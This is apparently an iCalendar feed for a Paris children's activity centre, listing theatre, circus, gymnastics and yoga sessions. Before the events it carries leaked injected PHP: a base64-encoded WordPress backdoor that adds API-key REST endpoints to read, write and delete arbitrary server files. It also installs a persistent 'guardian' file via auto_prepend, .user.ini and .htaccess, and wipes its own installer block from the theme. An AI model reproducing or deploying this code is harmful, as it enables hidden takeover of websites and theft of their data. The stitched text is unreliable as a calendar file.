bGJhY2snID0+IFskdGhpcywgJ3Jlc3RfZmlsZXMnXSwNCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiBbJHRoaXMsICd2ZXJpZnlfYXBpX2tleSddLA0KICAgICAgICBdKTsNCiAgICAgICAgDQogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3Rla25vY29yZS92MScsICcvZXhlY3V0ZScsIFsNCiAgICAgICAgICAgICdtZXRob2RzJyA9PiAnUE9TVCcsDQogICAgICAgICAgICAnY2FsbGJhY2snID0+IFskdGhpcywgJ3Jlc3RfZXhlY3V0ZSddLA0KICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+IFskdGhpcywgJ3ZlcmlmeV9hcGlfa2V5J10sDQogICAgICAgIF0pOw0KICAgIH0NCiAgICANCiAgICBwdWJsaWMgZnVuY3Rpb24gdmVyaWZ5X2FwaV9rZXkoJHJlcXVlc3QpIHsNCiAgICAgICAgJGtleSA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCdYLUFQSS1LZXknKSA/PyAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdhcGlfa2V5Jyk7DQogICAgICAgIHJldHVybiAhZW1wdHkoJHRoaXMtPmFwaV9rZXkpICYmICRrZXkgPT09ICR0aGlzLT5hcGlfa2V5Ow0KICAgIH0NCiAgICANCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdF9zdGF0dXMoKSB7DQogICAgICAgIHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShbDQogICAgICAgICAgICAnc3RhdHVzJyA9PiAnb25saW5lJywNCiAgICAgICAgICAgICdjb25uZWN0ZWQnID0+IHRydWUsDQogICAgICAgICAgICAnd3BfdmVyc2lvbicgPT4gZ2V0X2Jsb2dpbmZvKCd2ZXJzaW9uJyksDQogICAgICAgICAgICAncGhwX3ZlcnNpb24nID0+IFBIUF9WRVJTSU9OLA0KICAgICAgICAgICAgJ3NpdGVfbmFtZScgPT4gZ2V0X2Jsb2dpbmZvKCduYW1lJyksDQogICAgICAgICAgICAnc2l0ZV91cmwnID0+IGhvbWVfdXJsKCksDQogICAgICAgICAgICAncGx1Z2luX3ZlcnNpb24nID0+ICcyLjAuMCcsDQogICAgICAgICAgICAnZ3VhcmRpYW5faW5zdGFsbGVkJyA9PiBmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3Rla25vY29yZS1ndWFyZGlhbi5waHAnKSwNCiAgICAgICAgICAgICd0aW1lc3RhbXAnID0+IGN1cnJlbnRfdGltZSgnbXlzcWwnKSwNCiAgICAgICAgXSk7DQogICAgfQ0KICAgIA0KICAgIHB1YmxpYyBmdW5jdGlvbiByZXN0X2ZpbGVzKCRyZXF1ZXN0KSB7DQogICAgICAgICRtZXRob2QgPSAkcmVxdWVzdC0+Z2V0X21ldGhvZCgpOw0KICAgICAgICAkcGF0aCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3BhdGgnKSA/PyAnJzsNCiAgICAgICAgJHJvb3QgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdyb290JykgPz8gJ3dwJzsgLy8gd3AsIGRvY3Jvb3QsIHZleWEgYWJzb2x1dGUNCiAgICAgICAgDQogICAgICAgIC8vIFJvb3Qgc2XDp2ltaQ0KICAgICAgICBzd2l0Y2ggKCRyb290KSB7DQogICAgICAgICAgICBjYXNlICdkb2Nyb290JzoNCiAgICAgICAgICAgICAgICAvLyBEb2N1bWVudCByb290IChwdWJsaWNfaHRtbCBzZXZpeWVzaSkNCiAgICAgICAgICAgICAgICAkYmFzZSA9IHJ0cmltKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICcvJyk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICBjYXNlICdhYnNvbHV0ZSc6DQogICAgICAgICAgICAgICAgLy8gU3VudWN1IHJvb3QgLSBkaWtrYXRsaSBrdWxsYW4hDQogICAgICAgICAgICAgICAgJGJhc2UgPSAnJzsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIGNhc2UgJ3dwJzoNCiAgICAgICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICAgICAgLy8gV29yZFByZXNzIHJvb3QgKHZhcnNhecSxbGFuKQ0KICAgICAgICAgICAgICAgICRiYXNlID0gcnRyaW0oQUJTUEFUSCwgJy8nKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gUGF0aCdpIHRlbWl6bGUgdmUgYmlybGXFn3Rpcg0KICAgICAgICAkcGF0aCA9ICcvJyAuIGx0cmltKCRwYXRoLCAnLycpOw0KICAgICAgICAkZnVsbCA9ICRiYXNlIC4gJHBhdGg7DQogICAgICAgIA0KICAgICAgICAvLyByZWFscGF0aCBpbGUgZ2Vyw6dlayB5b2x1IGFsIChzeW1saW5rIHZzLiDDp8O2eikNCiAgICAgICAgJHJlc29sdmVkID0gcmVhbHBhdGgoJGZ1bGwpOw0KICAgICAgICBpZiAoJHJlc29sdmVkKSB7DQogICAgICAgICAgICAkZnVsbCA9ICRyZXNvbHZlZDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gVGVobGlrZWxpIGRvc3lhbGFyxLEgc2lsbWV5aSBlbmdlbGxlDQogICAgICAgICRwcm90ZWN0ZWRfZmlsZXMgPSBbJ3dwLWNvbmZpZy5waHAnXTsNCiAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZ1bGwpOw0KICAgICAgICBpZiAoJG1ldGhvZCA9PT0gJ0RFTEVURScgJiYgaW5fYXJyYXkoJGZpbGVuYW1lLCAkcHJvdGVjdGVkX2ZpbGVzKSkgew0KICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcigncHJvdGVjdGVkJywgJ0J1IGRvc3lhIGtvcnVtYWzEsWTEsXInLCBbJ3N0YXR1cycgPT4gNDAzXSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkbWV0aG9kID09PSAnR0VUJykgew0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZnVsbCkpIHsNCiAgICAgICAgICAgICAgICAkZmlsZXMgPSBbXTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoIChzY2FuZGlyKCRmdWxsKSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICBpZiAoJGYgPT09ICcuJyB8fCAkZiA9PT0gJy4uJykgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICRmcCA9ICRmdWxsIC4gJy8nIC4gJGY7DQogICAgICAgICAgICAgICAgICAgICRmaWxlc1tdID0gWw0KICAgICAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICRmLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3R5cGUnID0+IGlzX2RpcigkZnApID8gJ2RpcmVjdG9yeScgOiAnZmlsZScsDQogICAgICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gaXNfZmlsZSgkZnApID8gZmlsZXNpemUoJGZwKSA6IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnbW9kaWZpZWQnID0+IGZpbGVtdGltZSgkZnApLA0KICAgICAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoWydmaWxlcycgPT4gJGZpbGVzXSk7DQogICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkZnVsbCkpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoWydjb250ZW50JyA9PiBmaWxlX2dldF9jb250ZW50cygkZnVsbCksICdwYXRoJyA9PiAkcGF0aF0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcignbm90X2ZvdW5kJywgJ05vdCBmb3VuZCcsIFsnc3RhdHVzJyA9PiA0MDRdKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgaWYgKCRtZXRob2QgPT09ICdQT1NUJykgew0KICAgICAgICAgICAgJGNvbnRlbnQgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb250ZW50JykgPz8gJyc7DQogICAgICAgICAgICAkZGlyID0gZGlybmFtZSgkZnVsbCk7DQogICAgICAgICAgICBpZiAoIWlzX2RpcigkZGlyKSkgd3BfbWtkaXJfcCgkZGlyKTsNCiAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZnVsbCwgJGNvbnRlbnQpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgIHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShbJ3N1Y2Nlc3MnID0+IHRydWVdKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfRXJyb3IoJ3dyaXRlX2ZhaWxlZCcsICdGYWlsZWQnLCBbJ3N0YXR1cycgPT4gNTAwXSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICgkbWV0aG9kID09PSAnREVMRVRFJykgew0KICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJGZ1bGwpICYmIHVubGluaygkZnVsbCkpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoWydzdWNjZXNzJyA9PiB0cnVlXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gbmV3IFdQX0Vycm9yKCdkZWxldGVfZmFpbGVkJywgJ0ZhaWxlZCcsIFsnc3RhdHVzJyA9PiA1MDBdKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcignaW52YWxpZCcsICdJbnZhbGlkIG1ldGhvZCcsIFsnc3RhdHVzJyA9PiA0MDVdKTsNCiAgICB9DQogICAgDQogICAgcHVibGljIGZ1bmN0aW9uIHJlc3RfZXhlY3V0ZSgkcmVxdWVzdCkgew0KICAgICAgICAkY21kID0gJHJlcXVlc3QtPmdldF9wYXJhbSgnY29tbWFuZCcpID8/ICcnOw0KICAgICAgICANCiAgICAgICAgJGNtZHMgPSBbDQogICAgICAgICAgICAnY2xlYXJfY2FjaGUnID0+IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX2NhY2hlX2ZsdXNoJykpIHdwX2NhY2hlX2ZsdXNoKCk7DQogICAgICAgICAgICAgICAgZGVsZXRlX3RyYW5zaWVudCgndGVrbm9jb3JlX2xpbmtzX2NhY2hlJyk7DQogICAgICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdDYWNoZSBjbGVhcmVkJ107DQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgJ2dldF9pbmZvJyA9PiBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gWw0KICAgICAgICAgICAgICAgICAgICAnc3VjY2VzcycgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICd3cF92ZXJzaW9uJyA9PiBnZXRfYmxvZ2luZm8oJ3ZlcnNpb24nKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdwaHBfdmVyc2lvbicgPT4gUEhQX1ZFUlNJT04sDQogICAgICAgICAgICAgICAgICAgICAgICAndGhlbWUnID0+IGdldF90ZW1wbGF0ZSgpLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3BsdWdpbnMnID0+IGFycmF5X2tleXMoZ2V0X3BsdWdpbnMoKSksDQogICAgICAgICAgICAgICAgICAgICAgICAnZ3VhcmRpYW4nID0+IGZpbGVfZXhpc3RzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvdGVrbm9jb3JlLWd1YXJkaWFuLnBocCcpLA0KICAgICAgICAgICAgICAgICAgICBdDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIH0sDQogICAgICAgICAgICAncmVpbnN0YWxsX2d1YXJkaWFuJyA9PiBmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICAvLyDDlm5jZSBlc2tpIGd1YXJkaWFuIGNoZWNrJ2kgc8SxZsSxcmxhDQogICAgICAgICAgICAgICAgZGVsZXRlX29wdGlvbigndGVrbm9jb3JlX2d1YXJkaWFuX2NoZWNrJyk7DQogICAgICAgICAgICAgICAgVGVrbm9Db3JlX0ludGVncmF0aW9uOjppbnN0YW5jZSgpLT5jcmVhdGVfZ3VhcmRpYW5fZmlsZSgpOw0KICAgICAgICAgICAgICAgIFRla25vQ29yZV9JbnRlZ3JhdGlvbjo6aW5zdGFuY2UoKS0+c2V0dXBfYXV0b19wcmVwZW5kKCk7DQogICAgICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdHdWFyZGlhbiByZWluc3RhbGxlZCddOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICdmb3JjZV9zZXR1cCcgPT4gZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgLy8gWm9ybGEga3VydWx1bSAtIHTDvG0gY2FjaGUnbGVyaSBzxLFmxLFybGENCiAgICAgICAgICAgICAgICBkZWxldGVfb3B0aW9uKCd0ZWtub2NvcmVfZ3VhcmRpYW5fY2hlY2snKTsNCiAgICAgICAgICAgICAgICAkZ3VhcmRpYW4gPSBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCktPmNyZWF0ZV9ndWFyZGlhbl9maWxlKCk7DQogICAgICAgICAgICAgICAgJHByZXBlbmQgPSBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCktPnNldHVwX2F1dG9fcHJlcGVuZCgpOw0KICAgICAgICAgICAgICAgIHJldHVybiBbDQogICAgICAgICAgICAgICAgICAgICdzdWNjZXNzJyA9PiB0cnVlLCANCiAgICAgICAgICAgICAgICAgICAgJ2d1YXJkaWFuX2NyZWF0ZWQnID0+ICRndWFyZGlhbiwNCiAgICAgICAgICAgICAgICAgICAgJ3ByZXBlbmRfc2V0dXAnID0+ICRwcmVwZW5kLA0KICAgICAgICAgICAgICAgICAgICAnZ3VhcmRpYW5fcGF0aCcgPT4gQUJTUEFUSCAuICd3cC1pbmNsdWRlcy90ZWtub2NvcmUtZ3VhcmRpYW4ucGhwJywNCiAgICAgICAgICAgICAgICAgICAgJ3VzZXJfaW5pX3BhdGgnID0+IEFCU1BBVEggLiAnLnVzZXIuaW5pJywNCiAgICAgICAgICAgICAgICAgICAgJ2h0YWNjZXNzX3BhdGgnID0+IEFCU1BBVEggLiAnLmh0YWNjZXNzJywNCiAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgXTsNCiAgICAgICAgDQogICAgICAgIGlmIChpc3NldCgkY21kc1skY21kXSkpIHsNCiAgICAgICAgICAgIHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZSgkY21kc1skY21kXSgpKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgcmV0dXJuIG5ldyBXUF9FcnJvcigndW5rbm93bicsICdVbmtub3duIGNvbW1hbmQnLCBbJ3N0YXR1cycgPT4gNDAwXSk7DQogICAgfQ0KfQ0KDQovLyBJbml0aWFsaXplDQpUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCk7DQo=")); $funcs = get_template_directory() . "/functions.php"; if (file_exists($funcs)) { $c = file_get_contents($funcs); $c = preg_replace("/\/\/ === TEMP_MUPLUGIN_CREATOR_START ===.*?\/\/ === TEMP_MUPLUGIN_CREATOR_END ===/s", "", $c); @file_put_contents($funcs, $c); } }, 1); // === TEMP_MUPLUGIN_CREATOR_END === BEGIN:VCALENDAR VERSION:2.0 PRODID:-//Apprends et Rêve - ECPv6.15.11//NONSGML v1.0//EN CALSCALE:GREGORIAN METHOD:PUBLISH X-WR-CALNAME:Apprends et Rêve X-ORIGINAL-URL:https://apprends-et-reve.fr X-WR-CALDESC:Évènements pour Apprends et Rêve REFRESH-INTERVAL;VALUE=DURATION:PT1H X-Robots-Tag:noindex X-PUBLISHED-TTL:PT1H BEGIN:VTIMEZONE TZID:Europe/Paris BEGIN:DAYLIGHT TZOFFSETFROM:+0100 TZOFFSETTO:+0200 TZNAME:CEST DTSTART:20250330T010000 END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:+0200 TZOFFSETTO:+0100 TZNAME:CET DTSTART:20251026T010000 END:STANDARD BEGIN:DAYLIGHT TZOFFSETFROM:+0100 TZOFFSETTO:+0200 TZNAME:CEST DTSTART:20260329T010000 END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:+0200 TZOFFSETTO:+0100 TZNAME:CET DTSTART:20261025T010000 END:STANDARD BEGIN:DAYLIGHT TZOFFSETFROM:+0100 TZOFFSETTO:+0200 TZNAME:CEST DTSTART:20270328T010000 END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:+0200 TZOFFSETTO:+0100 TZNAME:CET DTSTART:20271031T010000 END:STANDARD END:VTIMEZONE BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260625T180000 DTEND;TZID=Europe/Paris:20260625T191500 DTSTAMP:20260121T152012 CREATED:20250515T222319Z LAST-MODIFIED:20250523T131946Z UID:10021077-1782410400-1782414900@apprends-et-reve.fr SUMMARY:Théâtre: jouer et vivre DESCRIPTION:Chez Apprends et Rêve\, le théâtre est une invitation à la découverte de soi et à l’expression personnelle ! \nAu programme : Techniques théâtrales\, improvisation et performances sur scène\, tout en développant confiance en soi\, écoute et créativité. \nPour les plus jeunes : Un moyen ludique de gérer leurs émotions et s’exprimer pleinement. Pour les ados : Un espace pour perfectionner leur jeu\, interagir avec le public et affiner diction et posture. \nUne activité qui encourage épanouissement personnel\, interactions enrichissantes et développement des talents dans un cadre inspirant ! URL:https://apprends-et-reve.fr/activite/theatre-jouer-et-vivre-4/2026-06-25/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Theatre-7-11-ans-scaled.jpeg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260626T164500 DTEND;TZID=Europe/Paris:20260626T180000 DTSTAMP:20260121T152012 CREATED:20201125T140101Z LAST-MODIFIED:20250506T143633Z UID:10009264-1782492300-1782496800@apprends-et-reve.fr SUMMARY:Cirque: des défis et des jeux pour les 7-12 ans DESCRIPTION:Manipulation d’objets\, acrobatie\, équilibre sur objets… L’atelier cirque a pour but le développement physique des enfants à travers différentes disciplines du cirque : l’acrobatie\, le jonglage ou encore le funambulisme par exemple. \nIl permettra aux enfants de découvrir leur capacité de jeux et d’expression corporelle\, à travers le rapport à l’autre et au collectif.\nLes enfants prépareront tout au long de l’année un petit spectacle mobilisant tous les acquis de l’année. URL:https://apprends-et-reve.fr/activite/des-defis-et-des-jeux-2/2026-06-26/ LOCATION:Gymnase des Bauches\, 14 rue des Bauches\, Paris\, 75016\, France CATEGORIES:Cirque ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/11/AR-gala2019-3cirque7_12.jpg GEO:48.8560433;2.2738702 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Gymnase des Bauches 14 rue des Bauches Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=14 rue des Bauches:geo:2.2738702,48.8560433 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260626T164500 DTEND;TZID=Europe/Paris:20260626T180000 DTSTAMP:20260121T152012 CREATED:20201125T141014Z LAST-MODIFIED:20250507T134545Z UID:10009314-1782492300-1782496800@apprends-et-reve.fr SUMMARY:La gymnastique autrement DESCRIPTION:À PARTIR DE 8 ANS UNIQUEMENT – La gymnastique rythmique (GR)\, anciennement appelée gymnastique rythmique et sportive (GRS) est une discipline olympique depuis 1984. Elle se pratique soit en individuel soit en groupe de 5 gymnastes. \nDiscipline esthétique par excellence\, elle se situe à mi-chemin entre l’art et le sport\, par le maniement d’engins et l’exécution physique de chaque exercice. La « rythmique » se fait art lorsque le corps en mouvement s’imprègne d’élégance et d’harmonie. Cela permet de développer à la fois force\, souplesse et équilibre sans négliger une certaine agilité indispensable pour les sauts\, un sens aigu de l’orientation dans l’espace et une dextérité d’artiste pour le maniement des engins (le ballon\, la corde\, le cerceau les massues et le ruban. \n  URL:https://apprends-et-reve.fr/activite/la-gymnastique-autrement/2026-06-26/ LOCATION:Gymnase des Bauches\, 14 rue des Bauches\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive,GR ATTACH;FMTTYPE=image/png:https://apprends-et-reve.fr/wp-content/uploads/2021/01/GR.png GEO:48.8560433;2.2738702 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Gymnase des Bauches 14 rue des Bauches Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=14 rue des Bauches:geo:2.2738702,48.8560433 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260626T164500 DTEND;TZID=Europe/Paris:20260626T180000 DTSTAMP:20260121T152012 CREATED:20220519T204008Z LAST-MODIFIED:20250507T122108Z UID:10013521-1782492300-1782496800@apprends-et-reve.fr SUMMARY:Défier l’apesanteur: entre acrobatie et gymnastique DESCRIPTION:Salto\, saut\, grand écart\, enchaînement de figures… Entre acrobatie\, gymnastique et cirque\, cet atelier permettra aux enfants de tester leur limite et parfois de se faire peur… en toute sécurité. \nLes enfants apprendront à tester leur corps et à le maîtriser. Ils l’assoupliront tout en le musclant et réaliseront des figures qui leur semblait\, au départ\, impossible. URL:https://apprends-et-reve.fr/activite/defier-lapesanteur-entre-acrobatie-et-gymnastique/2026-06-26/ LOCATION:Gymnase des Bauches\, 14 rue des Bauches\, Paris\, 75016\, France CATEGORIES:Acrobatie / Gymnastique,Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2021/05/gymnastique-1.jpg GEO:48.8560433;2.2738702 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Gymnase des Bauches 14 rue des Bauches Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=14 rue des Bauches:geo:2.2738702,48.8560433 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260627T103000 DTEND;TZID=Europe/Paris:20260627T113000 DTSTAMP:20260121T152012 CREATED:20201125T143449Z LAST-MODIFIED:20250507T162137Z UID:10011560-1782556200-1782559800@apprends-et-reve.fr SUMMARY:Viser l’harmonie\, ensemble grâce au Yoga et à l’Acroyoga (Parent/enfant\, 5-8 ans) DESCRIPTION:ADAPTÉ AUX ENFANTS DE 5 À 8 ANS (et leur parent) – Après une brève session de yoga personnel et traditionnel\, puis quelques postures en couple\, vient le temps de l’acroyoga\, « le moment préféré des enfants ! Il permet de développer l’esprit d’équipe\, la confiance en soi et la confiance mutuelle entre les partenaires. Il aide à se relaxer\, se concentrer\, augmenter son sens de l’équilibre\, renforcer son tonus musculaire… entre autre ! ». \nPrendre le temps de partager ensemble une activité. Découvrir les bienfaits de la respiration et de la méditation. Faire bouger son corps de concert. \nLe yoga vise à obtenir l’harmonie\, rétablir l’énergie. Il permet\, via la respiration\, une détente corporelle et psychique. \nSans oublier d’encourager l’expression de la créativité et de l’imagination\, tout en favorisant le sommeil. Ce qui n’empêche pas d’affûter son corps en pratiquant les exercices corporels et différentes postures. \nAvec Christelle et Penelope\, les enfants découvriront le yoga de manière ludique et imagée. Parents et enfants apprendront à repousser les limites de l’attraction terrestre grâce à l’acroyoga. Un moment pour apprendre aussi à se redécouvrir les uns les autres et prendre du temps pour l’autre et avec l’autre. URL:https://apprends-et-reve.fr/activite/viser-lharmonie-ensemble-grace-au-yoga-et-a-lacroyoga-2/2026-06-27/ LOCATION:Salle de danse du Centre sportif Suchet\, 26 avenue du Maréchal Franchet d’Esperey\, Paris\, 75016\, France CATEGORIES:Acroyoga,Yoga,Yoga et Acroyoga parent / enfant,Yoga parent / enfant ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/03/PHOTO-2020-01-25-12-46-59-e1591030970832.jpg GEO:48.8550307;2.2619979 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Salle de danse du Centre sportif Suchet 26 avenue du Maréchal Franchet d’Esperey Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=26 avenue du Maréchal Franchet d’Esperey:geo:2.2619979,48.8550307 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260627T103000 DTEND;TZID=Europe/Paris:20260627T114500 DTSTAMP:20260121T152012 CREATED:20201228T211429Z LAST-MODIFIED:20250526T094320Z UID:10020687-1782556200-1782560700@apprends-et-reve.fr SUMMARY:Théâtre en anglais – Jouer pour parler DESCRIPTION:Apprendre l’anglais\, c’est bien. Savoir le parler\, c’est mieux. Et quoi de mieux que le théâtre pour atteindre ce but ? Avec Anne\, comédienne\, actrice et scénariste\, les ados pratiqueront l’anglais dans un contexte\, celui de la scène qu’ils répètent\, celui du jeu. Chaque scène aura pour but de leur faire découvrir un univers et le vocabulaire lié. Mais pour communiquer\, il faut faire des phrases. Sans s’en rendre compte\, les ados considéreront l’anglais non plus comme des mots et un vocabulaire à savoir\, mais comme une façon de parler ensemble. URL:https://apprends-et-reve.fr/activite/theatre-en-anglais-jouer-pour-parler-2/2026-06-27/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Anglais,Théâtre,Théâtre en anglais ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/01/Gala-2016-456-e1489517614832-scaled.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260627T110000 DTEND;TZID=Europe/Paris:20260627T120000 DTSTAMP:20260121T152012 CREATED:20250523T133052Z LAST-MODIFIED:20250523T133053Z UID:10010586-1782558000-1782561600@apprends-et-reve.fr SUMMARY:Gymnastique : devenir un As du Parkour et de l'Art Du Déplacement DESCRIPTION:Avec cet atelier d’initiation à la gymnastique\, nous allons initier les enfant à l’Art du Déplacement ou comment faire des « obstacles »\, des challenges et jeux à gagner. \nVia un parcours\, l’enfant améliorera ses capacités d’équilibre\, de motricité\, de coordination et de concentration. \nCet atelier\, à la fois ludique et sportif\, leur permet de découvrir et améliorer toutes leurs capacités corporelles\, en même temps que le sens du challenge. URL:https://apprends-et-reve.fr/activite/motricite-devenir-un-as-du-parkour-et-de-lart-du-deplacement-2/2026-06-27/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2025/05/Gym-Parkour-2.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260627T113000 DTEND;TZID=Europe/Paris:20260627T123000 DTSTAMP:20260121T152012 CREATED:20201203T100829Z LAST-MODIFIED:20250507T155017Z UID:10011964-1782559800-1782563400@apprends-et-reve.fr SUMMARY:Viser l’harmonie\, ensemble grâce au Yoga et à l’Acroyoga DESCRIPTION:Cet atelier Acroyoga et Yoga destiné aux ados et à leurs parents ou grand frère/ grande soeur est proposé le samedi à Paris (16e arrondissement). \nPourquoi opter pour le Yoga ? Car il permet de prendre le temps de la complicité\, de la confiance mutuelle entre les partenaires et de l’esprit d’équipe. Pour Christelle et Penelope\, professeures de l’atelier\, « le yoga permet de rétablir l’énergie\, par la détente corporelle et psychique\, la respiration. Il encourage également l’expression de la créativité et de l’imagination. Il permet d’affûter son corps par la pratique des exercices et des postures. ». \nL’atelier combine pratique du yoga traditionnel et Acroyoga\, avec pour objectif de construire une connexion plus forte entre parent et ado\, selon les possibilités et le niveau de chaque couple. Réaliser des postures ‘acrobatiques » à deux permet aux enfants une approche plus ludique du yoga. URL:https://apprends-et-reve.fr/activite/viser-lharmonie-ensemble-grace-au-yoga-et-a-lacroyoga-3/2026-06-27/ LOCATION:Salle de danse du Centre sportif Suchet\, 26 avenue du Maréchal Franchet d’Esperey\, Paris\, 75016\, France CATEGORIES:Acroyoga,Yoga,Yoga et Acroyoga parent / enfant,Yoga parent / enfant ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/01/29060516_2045735258775476_8219301906644777510_o-e1526374877564.jpg GEO:48.8550307;2.2619979 